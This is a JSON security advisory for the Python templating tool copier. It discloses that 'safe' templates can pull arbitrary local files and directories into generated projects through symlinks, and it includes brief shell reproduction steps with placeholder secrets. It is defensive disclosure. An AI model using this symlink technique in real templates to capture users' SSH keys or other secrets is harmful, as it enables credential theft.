{"id":"PYSEC-2026-1274","summary":"Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false","details":"### Impact\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with [`_preserve_symlinks: false`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) (which is Copier's default setting). \n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like [github.com](https://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Illegally include a file in the generated project via symlink resolution:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n\n    mkdir src/\n    pushd src/\n    ln -s ../secret.txt stolen-secret.txt\n    popd\n\n    uvx copier copy src/ dst/\n\n    cat dst/stolen-secret.txt\n    #s3cr3t\n    ```\n\n- Illegally include a directory in the generated project via symlink resolution:\n\n    ```shell\n    mkdir secrets/\n    pushd secrets/\n    echo \"s3cr3t\" \u003e secret.txt\n    popd\n\n    mkdir src/\n    pushd src/\n    ln -s ../secrets stolen-secrets\n    popd\n\n    uvx copier copy src/ dst/\n\n    tree dst/\n    # dst/\n    # └── stolen-secrets\n    #     └── secret.txt\n    #\n    # 1 directory, 1 file\n    cat dst/stolen-secrets/secret.txt\n    # s3cr3t\n    ```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a","aliases":["CVE-2026-23968","GHSA-xjhm-gp88-8pfx"],"modified":"2026-07-07T17:47:20.657467429Z","published":"2026-07-07T16:03:19.591967Z","references":[{"type":"WEB","url":"https://github.com/copier-org/copier/security/advisories/GHSA-xjhm-gp88-8pfx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23968"},{"type":"WEB","url":"https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6"},{"type":"PACKAGE","url":"https://github.com/copier-org/copier"},{"type":"PACKAGE","url":"https://pypi.org/project/copier"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-xjhm-gp88-8pfx"}],"affected":[{"package":{"name":"copier","ecosystem":"PyPI","purl":"pkg:pypi/copier"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.11.2"}]}],"versions":["2.0.0","2.0.1","2.1.0","2.2.1","2.2.2","2.2.3","2.3","2.3.1","2.3.2","2.3.3","2.4.0","2.4.1","2.4.2","2.5.0","2.5.1","3.0.0a3","3.0.0a5","3.0.0a6","3.0.0a7","3.0.0a8","3.0.0b1","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.1.0","3.2.0","4.0.0","4.0.1","4.0.2","4.1.0","5.0.0","5.1.0","6.0.0","6.0.0a0","6.0.0a2","6.0.0a3","6.0.0a4","6.0.0a5","6.0.0a6","6.0.0a7","6.0.0a9","6.0.0b0","6.1.0","6.2.0","7.0.1","7.1.0","7.1.0a0","7.2.0","8.0.0","8.1.0","8.2.0","8.3.0","9.0.1","9.1.0","9.1.1","9.10.0","9.10.1","9.10.2","9.10.3","9.11.0","9.11.1","9.2.0","9.3.0","9.3.1","9.4.0","9.4.1","9.5.0","9.6.0","9.7.0","9.7.1","9.8.0","9.9.0","9.9.1"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/copier/PYSEC-2026-1274.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}